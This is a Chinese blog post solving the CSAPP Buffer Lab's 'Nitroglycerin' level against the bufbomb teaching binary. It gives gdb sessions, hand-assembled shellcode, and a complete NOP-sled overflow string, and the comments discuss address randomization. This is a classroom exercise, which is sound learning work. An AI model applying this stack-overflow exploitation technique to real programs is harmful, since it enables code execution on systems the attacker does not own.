Chinaunix首页 | 论坛 | 博客
  • 博客访问: 117251
  • 博文数量: 24
  • 博客积分: 1411
  • 博客等级: 上尉
  • 技术积分: 261
  • 用 户 组: 普通用户
  • 注册时间: 2009-08-07 17:49
文章分类

全部博文(24)

文章存档

2009年(24)

我的朋友

分类:

2009-09-12 13:19:48

上提供一个和,要求输入某一字符串使得程序出现溢出,以执行特定指令,这里是。

原话是: The next level is for those who want to push themselves beyond our baseline expectations for the course,and who want to face a challenge in designing buffer overflow attacks that arises in real life.

一共5问,难度循序渐进。第4问和书上习题3.38相似,但第5问需要bufbomb带-n参数以Nitroglycerin-'硝化甘油模式'运行,要求getbufn函数按同一个输入运行5次,每次都出现同样的溢出:即将getbufn返回值由默认的1变成cookie(一个给定的32位数字)。

int getbufn()
{
    char buf[512];

    Gets(buf);
    return 1;
}


叫“Nitroglycerin(硝化甘油)",因为getbufn每次运行运行的栈桢地址都是不同的,就是说%ebp每次都不同,就像硝化甘油一样不稳定。而第4问(第4问叫硝酸甘油)的getbuf函数经过特殊处理,每次运行都加载到同一个栈桢地址,就像诺贝尔发明的硝酸甘油一样稳定(但估计这只是在CMU的fish machine上,在我的Linux上运行时,getbuf每次的栈桢地址也都不同).

虽然getbufn每次的ebp都不同,但按照说明里讲,getbufn运行时会调用系统的alloca库函数,在栈中分配0-127字节,所以每次getbufn的%ebp都相差+-127字节。但buf数组有512字节,所以只要取值的当(我们取%ebp-0x100),无论%ebp是多少,总能跳转到buf的512字节内。而只要在这+-127字节的跳转范围内放上nop指令,无论跳到其中的哪里都会继续运行直到遇到“真正的溢出指令”。剩下的只是在“真正的溢出指令”里做什么了。

ebp每次都不同,但输入每次都是相同的,就是说每次覆盖到(%ebp)处的值都一样。所以“真正的溢出指令”里要做的一件事就是只根据%esp来恢复原来的(%ebp)

先随便创建一个空文件nitro.raw,运行gdb,在getbufn设断点,执行到断点后查看%ebp和(%ebp)

(gdb) b getbufn
Breakpoint 1 at 0x8048a69
(gdb) r -t 1 -n < nitro.raw
Starting program: /home/ren/labs/L3/bufbomb -t 1 -n < nitro.raw
Team: 1
Cookie: 0x1c2a3245     // 参数为 -t 1 时的cookie在这里

Breakpoint 1, 0x08048a69 in getbufn ()
(gdb) x $ebp
0xbfaf3d38:    0xbfaf3d58
(gdb) p $ebp
$32 = (void *) 0xbfaf3d38


看到了,上一桢的%ebp和本桢(getbufn桢)的%ebp之间相差32,所以getbufn执行

mov %ebp,%esp
pop %ebp
ret


后,esp和上一桢的ebp之间差32-8=24。

之后就是执行完溢出代码后要返回原地址了,查看一下反汇编代码

8048a91:    e8 ca ff ff ff     call 8048a60 <getbufn>
8048a96:    89 c2              mov %eax,%edx


所以返回地址是0x8048a96

又知道cookie值等于0x1c2a3245,所以“真正的溢出指令”要做的就是

68 96 8a 04 08     push $0x8048a96
8d 6c 24 1c        lea 0x1c(%esp),%ebp  //上面
push $0x8048a96了,所以%esp和原%ebp差为24+4=0x1c
b8 45 32 2a 1c     mov $0x1c2a3245,%eax
c3                 ret


最后是getbufn溢出后跳转到哪里了,上文说过我们取%ebp-0x100,所以(%ebp+4)处写入跳转地址:0xbfaf3d38-0x100 = 0xbfaf3c38。(%ebp)处写什么都无所谓,所以就写原值吧。

所以最后的溢出字符串nitro.txt是

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 68 96 8a 04 08 8d 6c 24 1c b8 45 32 2a 1c c3 58 3d af bf 38 3c af bf


再使sendstring程序生成输入序列:
cat nitro.txt | ./sendstring -n 5 > nitro.raw

得到了nitro.raw,继续运行吧:

(gdb) c
Continuing.
Type string:KABOOM!: getbufn returned 0x1c2a3245
Keep going

Breakpoint 1, 0x08048a69 in getbufn ()
(gdb) c
Continuing.
Type string:KABOOM!: getbufn returned 0x1c2a3245
Keep going

Breakpoint 1, 0x08048a69 in getbufn ()
(gdb) c
Continuing.
Type string:KABOOM!: getbufn returned 0x1c2a3245
Keep going

Breakpoint 1, 0x08048a69 in getbufn ()
(gdb) c
Continuing.
Type string:KABOOM!: getbufn returned 0x1c2a3245
Keep going

Breakpoint 1, 0x08048a69 in getbufn ()
(gdb) c
Continuing.
Type string:KABOOM!: getbufn returned 0x1c2a3245
sh: /usr/sbin/sendmail: not found
Error: Unable to send validation information to grading server

Program exited normally.

..............................................................

好累,开始第五章吧
阅读(19907) | 评论(7) | 转发(0) |
0

上一篇:CSAPP 令人头疼的Lab1: Twiddling Bits

下一篇:没有了

给主人留下些什么吧!~~

2011-11-09 11:24:25

这个实验,为什么我的老是不同过呢。每次都返回的是0x1,步骤方法都和你的一样,我的ubuntu是11.10的,gcc是4.5+的,都需要关掉什么服务呢?前面的题目都顺利通过了呀,怎么回事?希望交流下

chinaunix网友2011-02-21 23:07:04

请问没有他们的账号如何进行调试? 这个实验是不是必须在服务器上进行?

chinaunix网友2010-02-18 00:28:45

stack地址每次不一样是因为linux的randomization,CMU的机子上也会不一样的,只是做这个assignment的时候会把randomization关掉,我学校的机子就是关掉了这个给我们做的,然后因为最后这个BONUS等于打开了,所以难度比较大 你在国内上学吗?还是在国外阿

halida2009-09-28 17:44:56

我也是在学CSAPP,就是卡在了第3个,每次的栈地址都不一样,搞死我了。

chinaunix网友2009-09-21 11:37:49

呵呵,是的,我做实验的时候把他给关闭了!还是linux系统的虚拟地址随即机制,也被关闭了,这才把实验做成功! 你现在在上大学马?能留个email吗?